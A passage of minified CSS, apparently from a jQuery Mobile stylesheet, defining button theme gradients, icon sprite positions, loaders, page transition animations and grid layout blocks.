#fff5ba,#fbdd52 );background-image:-moz-linear-gradient( #fff5ba,#fbdd52 );background-image:-ms-linear-gradient( #fff5ba,#fbdd52 );background-image:-o-linear-gradient( #fff5ba,#fbdd52 );background-image:linear-gradient( #fff5ba,#fbdd52 )} +.ui-btn-hover-e:visited,.ui-btn-hover-e:hover,.ui-btn-hover-e a.ui-link-inherit{color:#333} +.ui-btn-down-e{border:1px solid #f2c43d;background:#fceda7;font-weight:bold;color:#111;background-image:-webkit-gradient(linear,left top,left bottom,from( #f8d94c ),to( #fadb4e ));background-image:-webkit-linear-gradient( #f8d94c,#fadb4e );background-image:-moz-linear-gradient( #f8d94c,#fadb4e );background-image:-ms-linear-gradient( #f8d94c,#fadb4e );background-image:-o-linear-gradient( #f8d94c,#fadb4e );background-image:linear-gradient( #f8d94c,#fadb4e )} +.ui-btn-down-e:visited,.ui-btn-down-e:hover,.ui-btn-down-e a.ui-link-inherit{color:#333}.ui-btn-up-e,.ui-btn-hover-e,.ui-btn-down-e{font-family:Arial,Helvetica,sans-serif;text-decoration:none}a.ui-link-inherit{text-decoration:none!important}.ui-btn-active:visited,.ui-btn-active:hover,.ui-btn-active a.ui-link-inherit{color:#000000}.ui-btn-inner{border-top:1px solid #fff;border-color:rgba(255,255,255,.3)}.ui-corner-all{-webkit-border-radius:.6em;border-radius:.6em}.ui-br{border-color:rgb(130,130,130);border-color:rgba(130,130,130,.3);border-style:solid}.ui-disabled{filter:Alpha(Opacity=30);opacity:.3;zoom:1}.ui-disabled,.ui-disabled a{cursor:default!important;pointer-events:none}.ui-icon,.ui-icon-searchfield:after{background-color:#666;background-color:rgba(0,0,0,.4);background-image:url(../img/icons-18-white.png);background-repeat:no-repeat;-webkit-border-radius:9px;border-radius:9px}.ui-icon-alt .ui-icon,.ui-icon-alt .ui-icon-searchfield:after{background-color:#fff;background-color:rgba(255,255,255,.3);background-image:url(../img/icons-18-black.png);background-repeat:no-repeat}.ui-icon-nodisc .ui-icon,.ui-icon-nodisc .ui-icon-searchfield:after,.ui-icon-nodisc .ui-icon-alt .ui-icon,.ui-icon-nodisc .ui-icon-alt .ui-icon-searchfield:after{background-color:transparent}.ui-icon-plus{background-position:-1px -1px}.ui-icon-minus{background-position:-37px -1px}.ui-icon-delete{background-position:-73px -1px}.ui-icon-arrow-r{background-position:-108px -1px}.ui-icon-arrow-l{background-position:-144px -1px}.ui-icon-arrow-u{background-position:-180px -1px}.ui-icon-arrow-d{background-position:-216px -1px}.ui-icon-check{background-position:-252px -1px}.ui-icon-gear{background-position:-288px -1px}.ui-icon-refresh{background-position:-323px -1px}.ui-icon-forward{background-position:-360px -1px}.ui-icon-back{background-position:-396px -1px}.ui-icon-grid{background-position:-432px -1px}.ui-icon-star{background-position:-467px -1px}.ui-icon-alert{background-position:-503px -1px}.ui-icon-info{background-position:-539px -1px}.ui-icon-home{background-position:-575px -1px}.ui-icon-search,.ui-icon-searchfield:after{background-position:-611px -1px}.ui-icon-checkbox-on{background-position:-647px -1px}.ui-icon-checkbox-off{background-position:-683px -1px}.ui-icon-radio-on{background-position:-718px -1px}.ui-icon-radio-off{background-position:-754px -1px}.ui-icon-bars{background-position:-788px -1px}.ui-icon-edit{background-position:-824px -1px}@media only screen and (-webkit-min-device-pixel-ratio:1.3),only screen and (min--moz-device-pixel-ratio:1.3),only screen and (min-resolution:200dpi){.ui-icon-plus,.ui-icon-minus,.ui-icon-delete,.ui-icon-arrow-r,.ui-icon-arrow-l,.ui-icon-arrow-u,.ui-icon-arrow-d,.ui-icon-check,.ui-icon-gear,.ui-icon-refresh,.ui-icon-forward,.ui-icon-back,.ui-icon-grid,.ui-icon-star,.ui-icon-alert,.ui-icon-info,.ui-icon-home,.ui-icon-bars,.ui-icon-edit,.ui-icon-search,.ui-icon-searchfield:after,.ui-icon-checkbox-off,.ui-icon-checkbox-on,.ui-icon-radio-off,.ui-icon-radio-on{background-image:url(../img/icons-36-white.png);-moz-background-size:864px 18px;-o-background-size:864px 18px;-webkit-background-size:864px 18px;background-size:864px 18px}.ui-icon-alt .ui-icon{background-image:url(../img/icons-36-black.png)}.ui-icon-plus{background-position:0 50%}.ui-icon-minus{background-position:-36px 50%}.ui-icon-delete{background-position:-72px 50%}.ui-icon-arrow-r{background-position:-108px 50%}.ui-icon-arrow-l{background-position:-144px 50%}.ui-icon-arrow-u{background-position:-179px 50%}.ui-icon-arrow-d{background-position:-215px 50%}.ui-icon-check{background-position:-252px 50%}.ui-icon-gear{background-position:-287px 50%}.ui-icon-refresh{background-position:-323px 50%}.ui-icon-forward{background-position:-360px 50%}.ui-icon-back{background-position:-395px 50%}.ui-icon-grid{background-position:-431px 50%}.ui-icon-star{background-position:-467px 50%}.ui-icon-alert{background-position:-503px 50%}.ui-icon-info{background-position:-538px 50%}.ui-icon-home{background-position:-575px 50%}.ui-icon-search,.ui-icon-searchfield:after{background-position:-611px 50%}.ui-icon-checkbox-on{background-position:-647px 50%}.ui-icon-checkbox-off{background-position:-683px 50%}.ui-icon-radio-on{background-position:-718px 50%}.ui-icon-radio-off{background-position:-754px 50%}.ui-icon-bars{background-position:-788px 50%}.ui-icon-edit{background-position:-824px 50%}}.ui-checkbox .ui-icon,.ui-selectmenu-list .ui-icon{-webkit-border-radius:3px;border-radius:3px}.ui-icon-checkbox-off,.ui-icon-radio-off{background-color:transparent}.ui-checkbox-on .ui-icon,.ui-radio-on .ui-icon{background-color:#4596ce}.ui-icon-loading{background:url(../img/ajax-loader.gif);background-size:46px 46px}.ui-btn-corner-all{-webkit-border-radius:1em;border-radius:1em}.ui-corner-all,.ui-btn-corner-all{-webkit-background-clip:padding;background-clip:padding-box}.ui-overlay{background:#666;filter:Alpha(Opacity=50);opacity:.5;position:absolute;width:100%;height:100%}.ui-overlay-shadow{-moz-box-shadow:0 0 12px rgba(0,0,0,.6);-webkit-box-shadow:0 0 12px rgba(0,0,0,.6);box-shadow:0 0 12px rgba(0,0,0,.6)}.ui-shadow{-moz-box-shadow:0 1px 3px rgba(0,0,0,.2);-webkit-box-shadow:0 1px 3px rgba(0,0,0,.2);box-shadow:0 1px 3px rgba(0,0,0,.2)}.ui-bar-a .ui-shadow,.ui-bar-b .ui-shadow,.ui-bar-c .ui-shadow{-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.ui-shadow-inset{-moz-box-shadow:inset 0 1px 4px rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 4px rgba(0,0,0,.2);box-shadow:inset 0 1px 4px rgba(0,0,0,.2)}.ui-icon-shadow{-moz-box-shadow:0 1px 0 rgba(255,255,255,.4);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.4);box-shadow:0 1px 0 rgba(255,255,255,.4)}.ui-btn:focus,.ui-link-inherit:focus{outline:0}.ui-btn.ui-focus{z-index:1}.ui-focus,.ui-btn:focus{-moz-box-shadow:inset 0 0 3px #387bbe,0px 0 9px #387bbe;-webkit-box-shadow:inset 0 0 3px #387bbe,0px 0 9px #387bbe;box-shadow:inset 0 0 3px #387bbe,0px 0 9px #387bbe}.ui-input-text.ui-focus,.ui-input-search.ui-focus{-moz-box-shadow:0 0 12px #387bbe;-webkit-box-shadow:0 0 12px #387bbe;box-shadow:0 0 12px #387bbe}.ui-mobile-nosupport-boxshadow *{-moz-box-shadow:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}.ui-mobile-nosupport-boxshadow .ui-focus,.ui-mobile-nosupport-boxshadow .ui-btn:focus,.ui-mobile-nosupport-boxshadow .ui-link-inherit:focus{outline-width:1px;outline-style:auto}.ui-mobile,.ui-mobile body{height:99.9%}.ui-mobile fieldset,.ui-page{padding:0;margin:0}.ui-mobile a img,.ui-mobile fieldset{border-width:0}.ui-mobile-viewport{margin:0;overflow-x:visible;-webkit-text-size-adjust:100%;-ms-text-size-adjust:none;-webkit-tap-highlight-color:rgba(0,0,0,0)}body.ui-mobile-viewport,div.ui-mobile-viewport{overflow-x:hidden}.ui-mobile [data-role=page],.ui-mobile [data-role=dialog],.ui-page{top:0;left:0;width:100%;min-height:100%;position:absolute;display:none;border:0}.ui-mobile .ui-page-active{display:block;overflow:visible}.ui-page{outline:none}@media screen and (orientation:portrait){.ui-mobile,.ui-mobile .ui-page{min-height:420px}}@media screen and (orientation:landscape){.ui-mobile,.ui-mobile .ui-page{min-height:300px}}.ui-loading .ui-loader{display:block}.ui-loader{display:none;z-index:9999999;position:fixed;top:50%;left:50%;border:0}.ui-loader-default{background:none;filter:Alpha(Opacity=18);opacity:.18;width:46px;height:46px;margin-left:-23px;margin-top:-23px}.ui-loader-verbose{width:200px;filter:Alpha(Opacity=88);opacity:.88;box-shadow:0 1px 1px -1px #fff;height:auto;margin-left:-110px;margin-top:-43px;padding:10px}.ui-loader-default h1{font-size:0;width:0;height:0;overflow:hidden}.ui-loader-verbose h1{font-size:16px;margin:0;text-align:center}.ui-loader .ui-icon{background-color:#000;display:block;margin:0;width:44px;height:44px;padding:1px;-webkit-border-radius:36px;border-radius:36px}.ui-loader-verbose .ui-icon{margin:0 auto 10px;filter:Alpha(Opacity=75);opacity:.75}.ui-loader-textonly{padding:15px;margin-left:-115px}.ui-loader-textonly .ui-icon{display:none}.ui-loader-fakefix{position:absolute}.ui-mobile-rendering > *{visibility:hidden}.ui-bar,.ui-body{position:relative;padding:.4em 15px;overflow:hidden;display:block;clear:both}.ui-bar{font-size:16px;margin:0}.ui-bar h1,.ui-bar h2,.ui-bar h3,.ui-bar h4,.ui-bar h5,.ui-bar h6{margin:0;padding:0;font-size:16px;display:inline-block}.ui-header,.ui-footer{position:relative;zoom:1}.ui-mobile .ui-header,.ui-mobile .ui-footer{border-left-width:0;border-right-width:0}.ui-header .ui-btn-left,.ui-header .ui-btn-right,.ui-footer .ui-btn-left,.ui-footer .ui-btn-right,.ui-header-fixed.ui-fixed-hidden .ui-btn-left,.ui-header-fixed.ui-fixed-hidden .ui-btn-right{position:absolute;top:3px}.ui-header-fixed .ui-btn-left,.ui-header-fixed .ui-btn-right{top:4px}.ui-header .ui-btn-left,.ui-footer .ui-btn-left{left:5px}.ui-header .ui-btn-right,.ui-footer .ui-btn-right{right:5px}.ui-footer > .ui-btn-icon-notext,.ui-header > .ui-btn-icon-notext,.ui-header-fixed.ui-fixed-hidden > .ui-btn-icon-notext{top:6px}.ui-header-fixed > .ui-btn-icon-notext{top:7px}.ui-header .ui-title,.ui-footer .ui-title{min-height:1.1em;text-align:center;font-size:16px;display:block;margin:.6em 30% .8em;padding:0;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;outline:0!important}.ui-footer .ui-title{margin:.6em 15px .8em}.ui-content{border-width:0;overflow:visible;overflow-x:hidden;padding:15px}.ui-corner-all > .ui-header:first-child,.ui-corner-all > .ui-content:first-child,.ui-corner-all > .ui-footer:first-child{-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit;-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit}.ui-corner-all > .ui-header:last-child,.ui-corner-all > .ui-content:last-child,.ui-corner-all > .ui-footer:last-child{-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit;-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit}.ui-icon{width:18px;height:18px}.ui-nojs{position:absolute;left:-9999px}.ui-hide-label label.ui-input-text,.ui-hide-label label.ui-select,.ui-hide-label label.ui-slider,.ui-hide-label label.ui-submit,.ui-hide-label .ui-controlgroup-label,.ui-hidden-accessible{position:absolute!important;left:-9999px;clip:rect(1px);clip:rect(1px,1px,1px,1px)}.ui-mobile-viewport-transitioning,.ui-mobile-viewport-transitioning .ui-page{width:100%;height:100%;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.ui-page-pre-in{opacity:0}.in{-webkit-animation-fill-mode:both;-webkit-animation-timing-function:ease-out;-webkit-animation-duration:350ms;-moz-animation-fill-mode:both;-moz-animation-timing-function:ease-out;-moz-animation-duration:350ms;animation-fill-mode:both;animation-timing-function:ease-out;animation-duration:350ms}.out{-webkit-animation-fill-mode:both;-webkit-animation-timing-function:ease-in;-webkit-animation-duration:225ms;-moz-animation-fill-mode:both;-moz-animation-timing-function:ease-in;-moz-animation-duration:225ms;animation-fill-mode:both;animation-timing-function:ease-in;animation-duration:225ms}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@-moz-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadeout{from{opacity:1}to{opacity:0}}@-moz-keyframes fadeout{from{opacity:1}to{opacity:0}}@keyframes fadeout{from{opacity:1}to{opacity:0}}.fade.out{opacity:0;-webkit-animation-duration:125ms;-webkit-animation-name:fadeout;-moz-animation-duration:125ms;-moz-animation-name:fadeout;animation-duration:125ms;animation-name:fadeout}.fade.in{opacity:1;-webkit-animation-duration:225ms;-webkit-animation-name:fadein;-moz-animation-duration:225ms;-moz-animation-name:fadein;animation-duration:225ms;animation-name:fadein}.pop{-webkit-transform-origin:50% 50%;-moz-transform-origin:50% 50%;transform-origin:50% 50%}.pop.in{-webkit-transform:scale(1);-webkit-animation-name:popin;-webkit-animation-duration:350ms;-moz-transform:scale(1);-moz-animation-name:popin;-moz-animation-duration:350ms;transform:scale(1);animation-name:popin;animation-duration:350ms;opacity:1}.pop.out{-webkit-animation-name:fadeout;-webkit-animation-duration:100ms;-moz-animation-name:fadeout;-moz-animation-duration:100ms;animation-name:fadeout;animation-duration:100ms;opacity:0}.pop.in.reverse{-webkit-animation-name:fadein;-moz-animation-name:fadein;animation-name:fadein}.pop.out.reverse{-webkit-transform:scale(.8);-webkit-animation-name:popout;-moz-transform:scale(.8);-moz-animation-name:popout;transform:scale(.8);animation-name:popout}@-webkit-keyframes popin{from{-webkit-transform:scale(.8);opacity:0}to{-webkit-transform:scale(1);opacity:1}}@-moz-keyframes popin{from{-moz-transform:scale(.8);opacity:0}to{-moz-transform:scale(1);opacity:1}}@keyframes popin{from{transform:scale(.8);opacity:0}to{transform:scale(1);opacity:1}}@-webkit-keyframes popout{from{-webkit-transform:scale(1);opacity:1}to{-webkit-transform:scale(.8);opacity:0}}@-moz-keyframes popout{from{-moz-transform:scale(1);opacity:1}to{-moz-transform:scale(.8);opacity:0}}@keyframes popout{from{transform:scale(1);opacity:1}to{transform:scale(.8);opacity:0}}@-webkit-keyframes slideinfromright{from{-webkit-transform:translateX(100%)}to{-webkit-transform:translateX(0)}}@-moz-keyframes slideinfromright{from{-moz-transform:translateX(100%)}to{-moz-transform:translateX(0)}}@keyframes slideinfromright{from{transform:translateX(100%)}to{transform:translateX(0)}}@-webkit-keyframes slideinfromleft{from{-webkit-transform:translateX(-100%)}to{-webkit-transform:translateX(0)}}@-moz-keyframes slideinfromleft{from{-moz-transform:translateX(-100%)}to{-moz-transform:translateX(0)}}@keyframes slideinfromleft{from{transform:translateX(-100%)}to{transform:translateX(0)}}@-webkit-keyframes slideouttoleft{from{-webkit-transform:translateX(0)}to{-webkit-transform:translateX(-100%)}}@-moz-keyframes slideouttoleft{from{-moz-transform:translateX(0)}to{-moz-transform:translateX(-100%)}}@keyframes slideouttoleft{from{transform:translateX(0)}to{transform:translateX(-100%)}}@-webkit-keyframes slideouttoright{from{-webkit-transform:translateX(0)}to{-webkit-transform:translateX(100%)}}@-moz-keyframes slideouttoright{from{-moz-transform:translateX(0)}to{-moz-transform:translateX(100%)}}@keyframes slideouttoright{from{transform:translateX(0)}to{transform:translateX(100%)}}.slide.out,.slide.in{-webkit-animation-timing-function:ease-out;-webkit-animation-duration:350ms;-moz-animation-timing-function:ease-out;-moz-animation-duration:350ms;animation-timing-function:ease-out;animation-duration:350ms}.slide.out{-webkit-transform:translateX(-100%);-webkit-animation-name:slideouttoleft;-moz-transform:translateX(-100%);-moz-animation-name:slideouttoleft;transform:translateX(-100%);animation-name:slideouttoleft}.slide.in{-webkit-transform:translateX(0);-webkit-animation-name:slideinfromright;-moz-transform:translateX(0);-moz-animation-name:slideinfromright;transform:translateX(0);animation-name:slideinfromright}.slide.out.reverse{-webkit-transform:translateX(100%);-webkit-animation-name:slideouttoright;-moz-transform:translateX(100%);-moz-animation-name:slideouttoright;transform:translateX(100%);animation-name:slideouttoright}.slide.in.reverse{-webkit-transform:translateX(0);-webkit-animation-name:slideinfromleft;-moz-transform:translateX(0);-moz-animation-name:slideinfromleft;transform:translateX(0);animation-name:slideinfromleft}.slidefade.out{-webkit-transform:translateX(-100%);-webkit-animation-name:slideouttoleft;-webkit-animation-duration:225ms;-moz-transform:translateX(-100%);-moz-animation-name:slideouttoleft;-moz-animation-duration:225ms;transform:translateX(-100%);animation-name:slideouttoleft;animation-duration:225ms}.slidefade.in{-webkit-transform:translateX(0);-webkit-animation-name:fadein;-webkit-animation-duration:200ms;-moz-transform:translateX(0);-moz-animation-name:fadein;-moz-animation-duration:200ms;transform:translateX(0);animation-name:fadein;animation-duration:200ms}.slidefade.out.reverse{-webkit-transform:translateX(100%);-webkit-animation-name:slideouttoright;-webkit-animation-duration:200ms;-moz-transform:translateX(100%);-moz-animation-name:slideouttoright;-moz-animation-duration:200ms;transform:translateX(100%);animation-name:slideouttoright;animation-duration:200ms}.slidefade.in.reverse{-webkit-transform:translateX(0);-webkit-animation-name:fadein;-webkit-animation-duration:200ms;-moz-transform:translateX(0);-moz-animation-name:fadein;-moz-animation-duration:200ms;transform:translateX(0);animation-name:fadein;animation-duration:200ms}.slidedown.out{-webkit-animation-name:fadeout;-webkit-animation-duration:100ms;-moz-animation-name:fadeout;-moz-animation-duration:100ms;animation-name:fadeout;animation-duration:100ms}.slidedown.in{-webkit-transform:translateY(0);-webkit-animation-name:slideinfromtop;-webkit-animation-duration:250ms;-moz-transform:translateY(0);-moz-animation-name:slideinfromtop;-moz-animation-duration:250ms;transform:translateY(0);animation-name:slideinfromtop;animation-duration:250ms}.slidedown.in.reverse{-webkit-animation-name:fadein;-webkit-animation-duration:150ms;-moz-animation-name:fadein;-moz-animation-duration:150ms;animation-name:fadein;animation-duration:150ms}.slidedown.out.reverse{-webkit-transform:translateY(-100%);-webkit-animation-name:slideouttotop;-webkit-animation-duration:200ms;-moz-transform:translateY(-100%);-moz-animation-name:slideouttotop;-moz-animation-duration:200ms;transform:translateY(-100%);animation-name:slideouttotop;animation-duration:200ms}@-webkit-keyframes slideinfromtop{from{-webkit-transform:translateY(-100%)}to{-webkit-transform:translateY(0)}}@-moz-keyframes slideinfromtop{from{-moz-transform:translateY(-100%)}to{-moz-transform:translateY(0)}}@keyframes slideinfromtop{from{transform:translateY(-100%)}to{transform:translateY(0)}}@-webkit-keyframes slideouttotop{from{-webkit-transform:translateY(0)}to{-webkit-transform:translateY(-100%)}}@-moz-keyframes slideouttotop{from{-moz-transform:translateY(0)}to{-moz-transform:translateY(-100%)}}@keyframes slideouttotop{from{transform:translateY(0)}to{transform:translateY(-100%)}}.slideup.out{-webkit-animation-name:fadeout;-webkit-animation-duration:100ms;-moz-animation-name:fadeout;-moz-animation-duration:100ms;animation-name:fadeout;animation-duration:100ms}.slideup.in{-webkit-transform:translateY(0);-webkit-animation-name:slideinfrombottom;-webkit-animation-duration:250ms;-moz-transform:translateY(0);-moz-animation-name:slideinfrombottom;-moz-animation-duration:250ms;transform:translateY(0);animation-name:slideinfrombottom;animation-duration:250ms}.slideup.in.reverse{-webkit-animation-name:fadein;-webkit-animation-duration:150ms;-moz-animation-name:fadein;-moz-animation-duration:150ms;animation-name:fadein;animation-duration:150ms}.slideup.out.reverse{-webkit-transform:translateY(100%);-webkit-animation-name:slideouttobottom;-webkit-animation-duration:200ms;-moz-transform:translateY(100%);-moz-animation-name:slideouttobottom;-moz-animation-duration:200ms;transform:translateY(100%);animation-name:slideouttobottom;animation-duration:200ms}@-webkit-keyframes slideinfrombottom{from{-webkit-transform:translateY(100%)}to{-webkit-transform:translateY(0)}}@-moz-keyframes slideinfrombottom{from{-moz-transform:translateY(100%)}to{-moz-transform:translateY(0)}}@keyframes slideinfrombottom{from{transform:translateY(100%)}to{transform:translateY(0)}}@-webkit-keyframes slideouttobottom{from{-webkit-transform:translateY(0)}to{-webkit-transform:translateY(100%)}}@-moz-keyframes slideouttobottom{from{-moz-transform:translateY(0)}to{-moz-transform:translateY(100%)}}@keyframes slideouttobottom{from{transform:translateY(0)}to{transform:translateY(100%)}}.viewport-flip{-webkit-perspective:1000;-moz-perspective:1000;perspective:1000;position:absolute}.flip{-webkit-backface-visibility:hidden;-webkit-transform:translateX(0);-moz-backface-visibility:hidden;-moz-transform:translateX(0);backface-visibility:hidden;transform:translateX(0)}.flip.out{-webkit-transform:rotateY(-90deg) scale(.9);-webkit-animation-name:flipouttoleft;-webkit-animation-duration:175ms;-moz-transform:rotateY(-90deg) scale(.9);-moz-animation-name:flipouttoleft;-moz-animation-duration:175ms;transform:rotateY(-90deg) scale(.9);animation-name:flipouttoleft;animation-duration:175ms}.flip.in{-webkit-animation-name:flipintoright;-webkit-animation-duration:225ms;-moz-animation-name:flipintoright;-moz-animation-duration:225ms;animation-name:flipintoright;animation-duration:225ms}.flip.out.reverse{-webkit-transform:rotateY(90deg) scale(.9);-webkit-animation-name:flipouttoright;-moz-transform:rotateY(90deg) scale(.9);-moz-animation-name:flipouttoright;transform:rotateY(90deg) scale(.9);animation-name:flipouttoright}.flip.in.reverse{-webkit-animation-name:flipintoleft;-moz-animation-name:flipintoleft;animation-name:flipintoleft}@-webkit-keyframes flipouttoleft{from{-webkit-transform:rotateY(0)}to{-webkit-transform:rotateY(-90deg) scale(.9)}}@-moz-keyframes flipouttoleft{from{-moz-transform:rotateY(0)}to{-moz-transform:rotateY(-90deg) scale(.9)}}@keyframes flipouttoleft{from{transform:rotateY(0)}to{transform:rotateY(-90deg) scale(.9)}}@-webkit-keyframes flipouttoright{from{-webkit-transform:rotateY(0)}to{-webkit-transform:rotateY(90deg) scale(.9)}}@-moz-keyframes flipouttoright{from{-moz-transform:rotateY(0)}to{-moz-transform:rotateY(90deg) scale(.9)}}@keyframes flipouttoright{from{transform:rotateY(0)}to{transform:rotateY(90deg) scale(.9)}}@-webkit-keyframes flipintoleft{from{-webkit-transform:rotateY(-90deg) scale(.9)}to{-webkit-transform:rotateY(0)}}@-moz-keyframes flipintoleft{from{-moz-transform:rotateY(-90deg) scale(.9)}to{-moz-transform:rotateY(0)}}@keyframes flipintoleft{from{transform:rotateY(-90deg) scale(.9)}to{transform:rotateY(0)}}@-webkit-keyframes flipintoright{from{-webkit-transform:rotateY(90deg) scale(.9)}to{-webkit-transform:rotateY(0)}}@-moz-keyframes flipintoright{from{-moz-transform:rotateY(90deg) scale(.9)}to{-moz-transform:rotateY(0)}}@keyframes flipintoright{from{transform:rotateY(90deg) scale(.9)}to{transform:rotateY(0)}}.viewport-turn{-webkit-perspective:200px;-moz-perspective:200px;-ms-perspective:200px;perspective:200px;position:absolute}.turn{-webkit-backface-visibility:hidden;-webkit-transform:translateX(0);-webkit-transform-origin:0;-moz-backface-visibility:hidden;-moz-transform:translateX(0);-moz-transform-origin:0;backface-visibility:hidden;transform:translateX(0);transform-origin:0}.turn.out{-webkit-transform:rotateY(-90deg) scale(.9);-webkit-animation-name:flipouttoleft;-webkit-animation-duration:125ms;-moz-transform:rotateY(-90deg) scale(.9);-moz-animation-name:flipouttoleft;-moz-animation-duration:125ms;transform:rotateY(-90deg) scale(.9);animation-name:flipouttoleft;animation-duration:125ms}.turn.in{-webkit-animation-name:flipintoright;-webkit-animation-duration:250ms;-moz-animation-name:flipintoright;-moz-animation-duration:250ms;animation-name:flipintoright;animation-duration:250ms}.turn.out.reverse{-webkit-transform:rotateY(90deg) scale(.9);-webkit-animation-name:flipouttoright;-moz-transform:rotateY(90deg) scale(.9);-moz-animation-name:flipouttoright;transform:rotateY(90deg) scale(.9);animation-name:flipouttoright}.turn.in.reverse{-webkit-animation-name:flipintoleft;-moz-animation-name:flipintoleft;animation-name:flipintoleft}@-webkit-keyframes flipouttoleft{from{-webkit-transform:rotateY(0)}to{-webkit-transform:rotateY(-90deg) scale(.9)}}@-moz-keyframes flipouttoleft{from{-moz-transform:rotateY(0)}to{-moz-transform:rotateY(-90deg) scale(.9)}}@keyframes flipouttoleft{from{transform:rotateY(0)}to{transform:rotateY(-90deg) scale(.9)}}@-webkit-keyframes flipouttoright{from{-webkit-transform:rotateY(0)}to{-webkit-transform:rotateY(90deg) scale(.9)}}@-moz-keyframes flipouttoright{from{-moz-transform:rotateY(0)}to{-moz-transform:rotateY(90deg) scale(.9)}}@keyframes flipouttoright{from{transform:rotateY(0)}to{transform:rotateY(90deg) scale(.9)}}@-webkit-keyframes flipintoleft{from{-webkit-transform:rotateY(-90deg) scale(.9)}to{-webkit-transform:rotateY(0)}}@-moz-keyframes flipintoleft{from{-moz-transform:rotateY(-90deg) scale(.9)}to{-moz-transform:rotateY(0)}}@keyframes flipintoleft{from{transform:rotateY(-90deg) scale(.9)}to{transform:rotateY(0)}}@-webkit-keyframes flipintoright{from{-webkit-transform:rotateY(90deg) scale(.9)}to{-webkit-transform:rotateY(0)}}@-moz-keyframes flipintoright{from{-moz-transform:rotateY(90deg) scale(.9)}to{-moz-transform:rotateY(0)}}@keyframes flipintoright{from{transform:rotateY(90deg) scale(.9)}to{transform:rotateY(0)}}.flow{-webkit-transform-origin:50% 30%;-webkit-box-shadow:0 0 20px rgba(0,0,0,.4);-moz-transform-origin:50% 30%;-moz-box-shadow:0 0 20px rgba(0,0,0,.4);transform-origin:50% 30%;box-shadow:0 0 20px rgba(0,0,0,.4)}.ui-dialog.flow{-webkit-transform-origin:none;-webkit-box-shadow:none;-moz-transform-origin:none;-moz-box-shadow:none;transform-origin:none;box-shadow:none}.flow.out{-webkit-transform:translateX(-100%) scale(.7);-webkit-animation-name:flowouttoleft;-webkit-animation-timing-function:ease;-webkit-animation-duration:350ms;-moz-transform:translateX(-100%) scale(.7);-moz-animation-name:flowouttoleft;-moz-animation-timing-function:ease;-moz-animation-duration:350ms;transform:translateX(-100%) scale(.7);animation-name:flowouttoleft;animation-timing-function:ease;animation-duration:350ms}.flow.in{-webkit-transform:translateX(0) scale(1);-webkit-animation-name:flowinfromright;-webkit-animation-timing-function:ease;-webkit-animation-duration:350ms;-moz-transform:translateX(0) scale(1);-moz-animation-name:flowinfromright;-moz-animation-timing-function:ease;-moz-animation-duration:350ms;transform:translateX(0) scale(1);animation-name:flowinfromright;animation-timing-function:ease;animation-duration:350ms}.flow.out.reverse{-webkit-transform:translateX(100%);-webkit-animation-name:flowouttoright;-moz-transform:translateX(100%);-moz-animation-name:flowouttoright;transform:translateX(100%);animation-name:flowouttoright}.flow.in.reverse{-webkit-animation-name:flowinfromleft;-moz-animation-name:flowinfromleft;animation-name:flowinfromleft}@-webkit-keyframes flowouttoleft{0%{-webkit-transform:translateX(0) scale(1)}60%,70%{-webkit-transform:translateX(0) scale(.7)}100%{-webkit-transform:translateX(-100%) scale(.7)}}@-moz-keyframes flowouttoleft{0%{-moz-transform:translateX(0) scale(1)}60%,70%{-moz-transform:translateX(0) scale(.7)}100%{-moz-transform:translateX(-100%) scale(.7)}}@keyframes flowouttoleft{0%{transform:translateX(0) scale(1)}60%,70%{transform:translateX(0) scale(.7)}100%{transform:translateX(-100%) scale(.7)}}@-webkit-keyframes flowouttoright{0%{-webkit-transform:translateX(0) scale(1)}60%,70%{-webkit-transform:translateX(0) scale(.7)}100%{-webkit-transform:translateX(100%) scale(.7)}}@-moz-keyframes flowouttoright{0%{-moz-transform:translateX(0) scale(1)}60%,70%{-moz-transform:translateX(0) scale(.7)}100%{-moz-transform:translateX(100%) scale(.7)}}@keyframes flowouttoright{0%{transform:translateX(0) scale(1)}60%,70%{transform:translateX(0) scale(.7)}100%{transform:translateX(100%) scale(.7)}}@-webkit-keyframes flowinfromleft{0%{-webkit-transform:translateX(-100%) scale(.7)}30%,40%{-webkit-transform:translateX(0) scale(.7)}100%{-webkit-transform:translateX(0) scale(1)}}@-moz-keyframes flowinfromleft{0%{-moz-transform:translateX(-100%) scale(.7)}30%,40%{-moz-transform:translateX(0) scale(.7)}100%{-moz-transform:translateX(0) scale(1)}}@keyframes flowinfromleft{0%{transform:translateX(-100%) scale(.7)}30%,40%{transform:translateX(0) scale(.7)}100%{transform:translateX(0) scale(1)}}@-webkit-keyframes flowinfromright{0%{-webkit-transform:translateX(100%) scale(.7)}30%,40%{-webkit-transform:translateX(0) scale(.7)}100%{-webkit-transform:translateX(0) scale(1)}}@-moz-keyframes flowinfromright{0%{-moz-transform:translateX(100%) scale(.7)}30%,40%{-moz-transform:translateX(0) scale(.7)}100%{-moz-transform:translateX(0) scale(1)}}@keyframes flowinfromright{0%{transform:translateX(100%) scale(.7)}30%,40%{transform:translateX(0) scale(.7)}100%{transform:translateX(0) scale(1)}}.ui-grid-a,.ui-grid-b,.ui-grid-c,.ui-grid-d{overflow:hidden}.ui-block-a,.ui-block-b,.ui-block-c,.ui-block-d,.ui-block-e{margin:0;padding:0;border:0;float:left;min-height:1px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.ui-grid-solo .ui-block-a{display:block;float:none}.ui-grid-a .ui-block-a,.ui-grid-a .ui-block-b{width:49.95%!important}.ui-grid-a >:nth-child(n){/*width:50%;margin-right:-.5px*/}.ui-grid-a .ui-block-a{clear:left}.ui-grid-b .ui-block-a,.ui-grid-b .ui-block-b,.ui-grid-b .ui-block-c{width:33.25%}.ui-grid-b >:nth-child(n){width:33.333%;margin-right:-.5px}.ui-grid-b .ui-block-a{clear:left}.ui-grid-c 